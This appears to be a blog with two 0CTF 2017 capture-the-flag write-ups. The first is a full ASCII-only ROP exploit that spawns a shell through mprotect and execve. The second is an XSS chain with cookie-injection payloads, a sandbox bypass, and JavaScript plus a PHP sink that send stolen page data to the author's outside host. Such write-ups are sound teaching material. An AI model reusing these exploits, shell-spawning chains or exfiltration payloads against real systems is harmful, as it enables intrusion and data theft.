Monday, March 20, 2017

0CTF 2017 - char (shellcoding 132)

The code in the "char" task was rather simple - you get to send in 2400 bytes of input (using scanf's "%2400s", so no whitechars allowed), then the input gets checked whether there are any non-ASCII characters (also excluding all control characters like newlines or tabs) and if that condition was met it would be copied using strcpy to a waaay-to-small stack-based buffer to trigger a standard stack-based buffer overflow. Since the application was compiled with NX, ROP was the go to solution.

One important detail is that the authors made it easier to solve by mapping a certain (provided) libc file directly into R-X memory starting at an ASCII-friendly address of 0x5555E000 - this was to be the main and only source of gadgets for this task.

So all that was left was to create an ASCII-friendly (w/o whitechars) ROP chain that gets either a shell or the flag directly. And it took me about an hour per controlled register (so ~5 hours total) to do it.

The exploit with quoted gadgets is provided at the end of this post, but before I'll get there here are some notes on my approach:

  • For gadget gathering I used a custom distorm3-based script that outputted only gadgets on ASCII-friendly addresses (it's at the end of the post).
  • Initial idea was to use mmap syscall to allocate a new RWX memory area, but that plan backfired since 32-bit mmap requires a defined structure in memory and I didn't really have an easy way to access writable memory (non-ASCII-friendly addresses).
  • Eventually I went after mprotect syscall to change 0x5555E000 area's permissions to RWX; mprotect required me to control 3 registers for parameters (EBX, ECX and EDX) and EAX for syscall number (and, as it turned out, ESI for the syscall invocation).
  • I started by doing a simple experiment to check how flexible mprotect's parameters really are (I've done it in a separate simple test program); thanks to this I found out that:
    - The address parameter MUST be page aligned (well, I actually already knew that).
    - The size parameter can be anything large; if it's too large mprotect returns an error, but still successfully remaps the existing pages to desired access rights (this I didn't know).
    - The protection flags (permissions) parameter isn't too flexible; value 0xF (instead of 7) still worked, but that's about it (any other bytes set made mprotect fail).
  • The first gadget I found was EB FE (jmp $ - i.e. infinite loop) which is super useful for debugging purposes (i.e. checking until what moment the ROP chain works correctly).
  • The rest of the way I went register-by-register, focusing on a single one until I was able to assign it the desired value.
  • For EDX (see setup_edx_flags) register I used three ASCII-friendly subtractions to get value 7 (representing RWX) into the register. The values themselves (0x6b5e7b63 - 0x3b363f38 - 0x30283c24 → 7) were generated using a simple helper z3 script (attached after the exploit near the end of this post). A lot of registers were corrupted due to the low quality of gadgets I had, so it was first on the execution list.
  • For EBX (see setup_ebx_addr) register I used three ASCII-friendly xor's to get address 0x55562000. Note that this isn't the beginning of the memory area, since you cannot get bytes with most significant bits set using ASCII-friendly xor's (i.e. you couldn't get the 0xE0 byte from 0x5555E000; but that's OK). Again, the values I've used were z3 generated (0x28243062 ^ 0x24222c22 ^ 0x59503c40 → 0x55562000).
  • For EAX (see setup_eax_mprotect) I've initially set the register to 0x4141417d and then used a movzx eax, al gadget the clear top 24-bits leaving only 0x7d (i.e. mprotect syscall number).
  • For ECX I didn't have to do anything, as it already had a sufficiently large value when the syscall was to be executed. Lucky me :)
  • Invoking the syscall (or actually a int 0x80 gadget) turned out to be tricky, as none of the gadgets were on ASCII-friendly addresses. I've ended up calculating the gadget address into ESI register (again, courtesy of z3: 0x69787631 + 0x7c74247b + 0x6f783045 → 0x5564caf1) and then using a fun little push esi; ret gadget which jumped to the int 0x80.
  • The above chain piece gave ma a writable and executable memory area. I initially thought of putting a shellcode there, but in the end it was sufficient to put (see poke) "/bin//sh" string on an address that had a null-byte naturally occurring at the end of said string, and then use that for execve function call (not to be confused with the execve syscall).
  • I've jumped to the execve function using exactly the same method I used to jump to the int 0x80 gadget. The parameters (on the stack, as, again, it was a function call and not a syscall invocation) included the address of the aforementioned "/bin//sh\0" string, followed by two addresses of a NULL ptr in memory (these would be treated as "empty argv" and "empty envp" tables).
And that was it.

gynvael:haven> python pwnbase.py 
Final ROP length: 312
You maybe feel some familiar with this challenge ? 
Yes, I made a little change 
GO : ) 

cat /home/char/flag
flag{Asc11_ea3y_d0_1t???}

A pretty fun task :)

The full exploit follows (and the z3 script is at the bottom).

#!/usr/bin/python
import sys
import socket
import telnetlib 
import os
import time
from struct import pack, unpack

def recvuntil(sock, txt):
  d = ""
  while d.find(txt) == -1:
    try:
      dnow = sock.recv(1)
      if len(dnow) == 0:
        print "-=(warning)=- recvuntil() failed at recv"
        print "Last received data:"
        print d
        return False
    except socket.error as msg:
      print "-=(warning)=- recvuntil() failed:", msg
      print "Last received data:"
      print d      
      return False
    d += dnow
  return d

def recvall(sock, n):
  d = ""
  while len(d) != n:
    try:
      dnow = sock.recv(n - len(d))
      if len(dnow) == 0:
        print "-=(warning)=- recvuntil() failed at recv"
        print "Last received data:"
        print d        
        return False
    except socket.error as msg:
      print "-=(warning)=- recvuntil() failed:", msg
      print "Last received data:"
      print d      
      return False
    d += dnow
  return d

# Proxy object for sockets.
class gsocket(object):
  def __init__(self, *p):
    self._sock = socket.socket(*p)

  def __getattr__(self, name):
    return getattr(self._sock, name)

  def recvall(self, n):
    return recvall(self._sock, n)

  def recvuntil(self, txt):
    return recvuntil(self._sock, txt)  

# Base for any of my ROPs.
def db(v):
  return pack("<B", v)

def dw(v):
  return pack("<H", v)

def dd(v):
  return pack("<I", v)

def dq(v):
  return pack("<Q", v)

def rb(v):
  return unpack("<B", v[0])[0]

def rw(v):
  return unpack("<H", v[:2])[0]

def rd(v):
  return unpack("<I", v[:4])[0]

def rq(v):
  return unpack("<Q", v[:8])[0]

def set1(ebx=0x41414141, esi=0x41414141, edi=0x41414141, ebp=0x41414141):
  """
  0x5557506c    pop ebx
  0x5557506d    pop esi
  0x5557506e    pop edi
  0x5557506f    pop ebp
  0x55575070    ret
  """
  return ''.join([
    dd(0x5557506c),
    dd(ebx),
    dd(esi),
    dd(edi),
    dd(ebp)
  ])

def set_ebx(ebx):
  """
  0x556a7742    pop ebx
  0x556a7743    ret
  """
  return ''.join([
    dd(0x556a7742),
    dd(ebx)
  ])

def set_eax(eax):  # Destroys ECX.
  return ''.join([
    set_ecx(eax),
    mov_eax_ecx()
  ])

def set_esi(esi):
  """
  0x55686c72    pop esi
  0x55686c73    ret
  """
  return ''.join([
    dd(0x55686c72),
    dd(esi)
  ])

def set_ecx(ecx):  # AL+0xA
  """
  0x556d2a51    pop ecx
  0x556d2a52    add al, 0xa
  0x556d2a54    ret
  """
  return ''.join([
    dd(0x556d2a51),
    dd(ecx)
  ])

def mov_eax_ecx():
  """
  0x556a6253    mov eax, ecx
  0x556a6255    ret
  """
  return dd(0x556a6253)
  

def set_edx_edi(edx=0x41414141, edi=0x41414141): # Zeroes EAX
  # 0x555f3555    pop edx
  # 0x555f3556    xor eax, eax
  # 0x555f3558    pop edi
  # 0x555f3559    ret
  return ''.join([
    dd(0x555f3555),
    dd(edx),
    dd(edi),
  ])  

def set_ebp(ebp):
  """
  0x5557506f    pop ebp
  0x55575070    ret
  """
  return ''.join([
    dd(0x5557506f),
    dd(ebp)
  ])

def add_esi_ebx():
  """
  0x555c612c    add esi, ebx
  0x555c612e    ret
  """
  return dd(0x555c612c)

def ret_to_esi():
  """
  0x556d262a    push esi
  0x556d262b    ret
  """
  return dd(0x556d262a)

def mov_ptr_edx_edi():
  """
  0x55687b3c    mov [edx], edi
  0x55687b3e    pop esi
  0x55687b3f    pop edi
  0x55687b40    ret
  """
  return ''.join([
    dd(0x55687b3c),
    dd(0x41414141),
    dd(0x41414141),    
  ])

def poke(addr, v):
  return ''.join([
    set_edx_edi(addr, v),
    mov_ptr_edx_edi(),
  ])

def setup_esi_syscall():
  # desired = 0x000EEAF1 + 0x5555E000
  # Constants generated by z3 helper script.
  a2 = 0x69787631
  a1 = 0x7c74247b
  a3 = 0x6f783045
  # Test:  0x5564caf1L (True)

  return ''.join([
    set_esi(a1),
    set_ebx(a2),
    add_esi_ebx(),
    set_ebx(a3),
    add_esi_ebx()    
  ])

def setup_esi_execve():
  # desired = 0xB85E0 + 0x5555E000
  # Constants generated by z3 helper script.
  # sat
  a2 = 0x69747441
  a1 = 0x7378747e
  a3 = 0x78747d21
  # Test:  0x556165e0L (True)

  return ''.join([
    set_esi(a1),
    set_ebx(a2),
    add_esi_ebx(),
    set_ebx(a3),
    add_esi_ebx()    
  ])

def sub_edx_eax():  # Destroys: EAX, ESI, EDI, EBP
  """
  0x5560365c    sub edx, eax
  0x5560365e    pop esi
  0x5560365f    mov eax, edx
  0x55603661    pop edi
  0x55603662    pop ebp
  0x55603663    ret
  """
  return ''.join([
    dd(0x5560365c),
    dd(0x41414141),
    dd(0x41414141),
    dd(0x41414141)    
  ])

def setup_ebx_addr():
  # Constants generated by z3 helper script.
  a2 = 0x28243062
  a1 = 0x24222c22
  a3 = 0x59503c40
  # Test:  0x55562000L (True)

  return ''.join([
    set_ebx(a1),
    set_ebp(a2),
    xor_ebx_ebp(),
    set_ebp(a3),
    xor_ebx_ebp()    
  ])

def setup_edx_flags():
  # Constants generated by z3 helper script.
  a1 = 0x6b5e7b63
  a2 = 0x3b363f38
  a3 = 0x30283c24
  # Manual test: 7 True
  
  return ''.join([
    set_edx_edi(a1),
    set_eax(a2),
    sub_edx_eax(),
    set_eax(a3),
    sub_edx_eax(),
  ])

def zeroext_al():  # Destroys EDI, EBP
  """
  0x55672a79    movzx eax, al
  0x55672a7c    pop edi
  0x55672a7d    pop ebp
  0x55672a7e    ret

  """
  return ''.join([
    dd(0x55672a79),
    dd(0x41414141),
    dd(0x41414141),    
  ])

def setup_eax_mprotect():
  return ''.join([
    set_eax(0x4141417d),  # 7d is mprotect
    zeroext_al()
  ])
  

def xor_ebx_ebp():
  """
  0x5563364b    xor ebx, ebp
  0x5563364d    ret
  """
  return dd(0x5563364b)

def ebfe():
  return dd(0x55585559)

def genrop():
  rop = ''.join([
    "AAAA" * 8,  # Padding.

    setup_edx_flags(),    # Don't touch EDX after this. Destroys: EAX ESI
                          #                                       EDI EBP
                          #                                       ECX

    setup_esi_syscall(),  # Don't touch ESI after this. Destroys: EBX

    setup_ebx_addr(),     # Don't touch EBX after this. Destroys: EBP

    setup_eax_mprotect(), # Don't touch EAX after this. Destroys: ECX EDI
                          #                                       EBP

    ret_to_esi(), "AAAA" * 4, # int 0x80 gadget pops 4x regs.

    # Assume from now: 55562000-55702000 rwxp 00004000
    poke(0x55563333 + 0, rd("/bin")),
    poke(0x55563333 + 4, rd("//sh")),

    setup_esi_execve(),  # Don't touch ESI after this. Destroys: EBX

    ret_to_esi(), dd(0x41414141),
    dd(0x55563333), dd(0x556b5274), dd(0x556b5274),  # Args

    ebfe()
  ])

  print "Final ROP length:", len(rop)

  if len(rop) > 2400:
    sys.exit("ROP is waaay too long.")

  if not all(map(lambda x: ord(x) in range(32, 127), rop)):
    sys.exit("ROP GEN FAILED:" + ''.join(map(lambda x:hex(ord(x)), filter(lambda x: ord(x) not in range(32, 127), rop))))
  
  return rop

def go():  
  global HOST
  global PORT

  rop = genrop()

  #with open("chain.rop", "wb") as f:
  #  f.write(rop)

  #return

  s = gsocket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((HOST, PORT))
  
  # Put your code here!
  s.sendall(rop)

  # Interactive sockets.
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

  # Python console.
  # Note: you might need to modify ReceiverClass if you want
  #       to parse incoming packets.
  #ReceiverClass(s).start()
  #dct = locals()
  #for k in globals().keys():
  #  if k not in dct:
  #    dct[k] = globals()[k]
  #code.InteractiveConsole(dct).interact()

  s.close()

HOST = '202.120.7.214'
PORT = 23222
go()

The simple z3 helper script to generate values (it's rather simple and boils down to "I can do two subtractions/additions/xors on 32-bit ASCII-friendly values; give me specific values that will result in obtaining the desired value"):

from z3 import *
import json

desired = 0xB85E0 + 0x5555E000  # The final value.

a1 = BitVec("a1", 32)
a2 = BitVec("a2", 32)
a3 = BitVec("a3", 32)

res = a1 + a2 + a3  # The operation (addition in this case).

s = Solver()
s.add(res == desired)

for a in [a1, a2, a3]:
  for b in [0, 8, 16, 24]:
    bb = ((a >> b) & 0xff)
    s.add(bb > 32, bb <= 126)

print s.check()
s.model()

# Dumping the calculated values and testing the model again.
test = 0
for reg in list(s.model()):
  reg_name = str(reg)
  reg_value = s.model()[reg].as_long()
  test = (test + reg_value) & 0xffffffff
  print "%s = %s" % (reg_name, hex(reg_value))

print "# Test: ", hex(test), "(" + str(test == desired) + ")"

And the custom ROP gadget gathering script:

import distorm3 # https://code.google.com/p/distorm/downloads/list
import struct

# XXX Setup here XXX
TARGET_FILE = "libc.so"          
FILE_OFFSET_START = 0 # In-file offset of scan start
FILE_OFFSET_END = 1717736 # In-file offset of scan start
VA = 0x5555E000 # Note: PC is calculated like this: VA + given FILE_OFFSET
X86_MODE = distorm3.Decode32Bits # just switch the 32 or 64
# XXX End of setup XXX

UNIQ = {}
def DecodeAsm(pc, d):
  global X86_MODE

  disasm = distorm3.Decode(pc, d, X86_MODE)

  k = []
  l = ""
  ist = ""

  for d in disasm:
    #print d
    addr = d[0]
    size = d[1]
    inst = d[2].lower()
    t = "0x%x    %s" % (addr,inst)
    l += t + "\n"
    ist += "%s\n" % (inst)
    k.append((addr,inst))
    if inst.find('ret') != -1:
      break

  return (l,k,ist)

d = open(TARGET_FILE, "rb").read()

for i in xrange(FILE_OFFSET_START,FILE_OFFSET_END):
  addr = VA+i
  s = map(lambda x: ord(x) in range(32, 127), struct.pack(">I", addr))
  if not all(s):
    continue

  (cc,kk,ist) = DecodeAsm(VA+i, d[i:i+10])
  if cc.find('ret') == -1:
    continue

  if cc.find('iret') != -1:
    continue

  if cc.find('db ') != -1:
    continue

  if ist in UNIQ:
    continue

  UNIQ[ist] = True  

  print "------> offset: 0x%x" % (i + VA)
  for k in kk:
    print "0x%x    %s" % (k[0],k[1])
    if k[1].find('ret') != -1:
      break

  print ""


0CTF 2017 - complicated xss (web 177)


Complicated xss was a client-side web security task revolving around, well, XSSes. At the very start you were handed a way to XSS the admin (limited by proof of work) and the location of the flag - http://admin.goverment.vip:8000. And well, all you knew.

I started by writing a solved for the proof-of-work, since that would be needed to get any real testing done anyway. First I wanted to do an "at request" brute force, but in the end I decided that a proof-of-work with 24-bit solution space can just be pre-calculated (24-bits means it is only 16 milion hashes - not a lot). So I've run the following script (note that I calculated more hashes just to decrease the probability of missing a hash substring on the generated list):

import md5
for i in range(0, 0x2000000):
  s = "%.8x" % i
  print "%s %s" % (md5.md5(s).hexdigest(), s)

Then I've run sort (the command line tool) on the output, and saved it to md5sump.sorted file (about 1.5 GB). Since I took care for each line to be same size, the final file was ideal for binary search and resulted in ~0.0005sec  (~32 seeks; Windows was nice enough to cache the file in RAM) per proof-of-work on average.

Having that solved I prepared another tool - one to do fast submissions so I wouldn't have to go through the website each time. The tool was basically an infinite loop that grabbed a new proof-of-work substring, binary-searched for the solution (and repeated in the event of not having a given substring on the list), and waited for me to press enter; then it grabbed payload.js file and uploaded its content to the challenge server, and restarted the loop. The tool itself:

import httplib
import re
import urllib
import time

PHPSESSID = "164l560708f930f473k1s461a1"

def fetch_substr():
  headers = {"Cookie": "PHPSESSID=" + PHPSESSID}
  conn = httplib.HTTPConnection("government.vip")
  conn.request("GET", "/", "", headers)
  r1 = conn.getresponse()
  data1 = r1.read()
  res = re.search(r"=== '([0-9a-f]+)'\).", data1)
  conn.close()
  return res.group(1)

def submit_payload(s):
  with open("payload.js", "rb") as f:
    payload = f.read()

  params = urllib.urlencode({
      'task': s, 
      'payload': payload
  })

  headers = {
      "Cookie": "PHPSESSID=" + PHPSESSID,
      "Content-type": "application/x-www-form-urlencoded"
  }

  conn = httplib.HTTPConnection("government.vip")
  conn.request("POST", "/run.php", params, headers)
  r = conn.getresponse()
  data = r.read()
  conn.close()
  return data

def solution(s):
  line_len = len("0000000702e3e0e0848435ed83afff57 00451787\r\n")

  with open("md5dump.sorted", "rb") as f:
    L = 0
    R = 33554432-1

    while R - L > 1:
      C = L + (R - L) / 2
      offset = C * line_len
      f.seek(offset)
      ln = f.read(line_len).strip()
      #print ln

      head = ln[:6]
      if s == head:
        return ln.split(" ")[1]

      if s < head:
        R = C
        continue

      L = C

    return None

print "Complicated XSS payload sender."

while True:
  print "\n------------------ New Stage"

  while True:
    s = fetch_substr()
    print "New substring:", s
    st = time.time()
    s = solution(s)
    en = time.time()
    print "Solution:", s, "(in %f sec)" % (en - st)
    if s is not None:
      break

  print "Ready. Press ENTER to fire."
  raw_input()

  print "Sending payload..."
  print "Result:", submit_payload(s)

There was one more tool I needed before I could focus on the task - a sink for whatever I leak from the server. In my case it took the form of a small PHP script on one of my WWW servers:

<?php

$f = fopen("/tmp/0ctf", "w");
$date = date('Y-m-d H:i:s');
fwrite($f, $date . "\n\n");
if (!isset($_REQUEST['b'])) {
  fwrite($f, "---no data---\n");
} else {
  $b = $_REQUEST['b'];
  $b = str_replace(" ", "+", $b);

  fwrite($f, $b . "\n\n---decoded---\n");
  fwrite($f, base64_decode($b));
}
fclose($f);

The script basically received data (supported both GET and POST), decoded it (assuming it was base64 encoded) and saved to /tmp/0ctf file.

On one of the terminals I actually had watch cat /tmp/0ctf running, so if any data was sent in, I would immediately see it.

After all that code I could finally start the task (well OK, to be honest parts of these tools were modified/improved when I already worked on the task).

The first thing I checked was whether the XSS we were handed in admin.government.vip:8000 or in government.vip:80 context - it turned out the latter, so the first order of business was to find an XSS in the former.

It turned out that admin.government.vip:8000 was using a cookie called username that contained the, well, name of the user. And it was displayed by server-side in an unsanitized way, so that was our vector right there.

The admin.government.vip:8000 side for username=test

Given that we already were given code execution on government.vip domain, and that the same origin policy for cookies ignores the port, we could create a "all subdomains"-scoped username cookie with the initial XSS to overwrite the username cookie in the admin.government.vip:8000 context. Then it still took several minutes to get the proper XSS payload in the cookie (URL encoding wasn't decoded and semicolons in cookies have a special meaning, so the cookie-javascript-payload could not have any semicolons at all), but finally I arrived at this (it's the initial payload that was submitted on the first form):

'"><script>
// This script contains pieces of code which I used for
// "looking around" in earlier stages. I'll leave it here
// since someone might find it interesting.
var sendstuff = function(data) {
  var http = new XMLHttpRequest();
  var url = "http://gynvael.coldwind.pl/0ctf.php";
  var params = "b=" + btoa(data);
  http.open("POST", url, true);
  http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  http.send(params);
};

uname = "test<img src=a onerror=k=document.createElement('script'),k.setAttribute('src','http://gynvael.coldwind.pl/0ctfstage2.js'),document.body.appendChild(k)>";
document.cookie = "username="+uname+" ;domain=.government.vip;path=/";

var f = document.createElement("iframe");
f.setAttribute('src', 'http://admin.government.vip:8000/');
f.onload = function () {
  /*
  try {
    //var k = Object.keys(f.contentWindow);
    var output = "";
    for (var k in f) {
      output += k + ": " + f[k] + "\n";    
    }

    sendstuff(output);
  } catch (e) {
    sendstuff("Error: "+e);
  }*/
};
document.body.appendChild(f);

</script>

The XSS payload in the cookie (see the "uname =" line) basically creates a <script> element (in admin.government.vip:8000 context) with src pointing to the second stage javascript file placed somewhere on my servers.

The second stage (admin.government.vip:8000 context) greeted me with a "javascript sandbox":

<title>Admin Panel</title>
<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>

Since I actually used XMLHttpRequest to leak data, I wasn't too happy about that, but it turned out that it was enough to create a new IFRAME object and grab XMLHttpRequest object from its contentWindow property.

...
var f = document.createElement('iframe');
f.setAttribute('src', '/upload');
f.onload = function() {
  window.XMLHttpRequest = f.contentWindow.XMLHttpRequest;
  //sendstuff("works again");
  ...
};
document.body.appendChild(f);
...


Leaking the document.body.innerHTML revealed an upload form:

<p>Upload your shell</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></p>
<p><input type="submit" value="upload">
</p></form>

Since XMLHttpRequest was available again, I was able to use it to upload a JavaScript-created file (using FormData and Blob) and receive (and leak) the reply using the following snippet:

try {

  var xhr = new XMLHttpRequest;
  xhr.open("POST", "/upload", true);
  xhr.onreadystatechange = function() {
    if (xhr.readyState === 4) {
      sendstuff(xhr.responseText);
    }
  };

  var formData = new FormData();
  var content = "ala ma kota";
  var blob = new Blob([content], {type: "text/plain"});
  formData.append("file", blob, "hithereasdf.txt");

  xhr.send(formData);

} catch (e) {
  sendstuff("Error: " + e);
}

I actually expected that I'll have to e.g. upload a PHP shell and look for the flag through that, but it turned out that that was enough and the server awarded me with a flag in the response! :)


In case the screenshot is too small:

# cat /tmp/0ctf
2017-03-18 22:16:31

ZmxhZ3t4c3NfaXNfZnVuXzIzMzMzMzN9

---decoded---
flag{xss_is_fun_2333333}

And that's it!

The full stage2 payload follows:

var lamesend = function(data) {
  var f = document.createElement('iframe');
  f.setAttribute('src', 'http://gynvael.coldwind.pl/0ctf.php?b=' + btoa(data));
  document.body.appendChild(f);
}

var sendstuff = function(data) {
  var http = new XMLHttpRequest();
  var url = "http://gynvael.coldwind.pl/0ctf.php";
  var params = "b=" + btoa(data);
  http.open("POST", url, true);
  http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  http.send(params);
}


var f = document.createElement('iframe');
f.setAttribute('src', '/upload');
f.onload = function() {
  window.XMLHttpRequest = f.contentWindow.XMLHttpRequest;
  //sendstuff("works again");

  try {

  var xhr = new XMLHttpRequest;
  xhr.open("POST", "/upload", true);
  xhr.onreadystatechange = function() {
    if (xhr.readyState === 4) {
      sendstuff(xhr.responseText);
    }
  };

  var formData = new FormData();
  var content = "ala ma kota";
  var blob = new Blob([content], {type: "text/plain"});
  formData.append("file", blob, "hithereasdf.txt");

  xhr.send(formData);

  } catch (e) {
    sendstuff("Error: " + e);
  }

};
document.body.appendChild(f);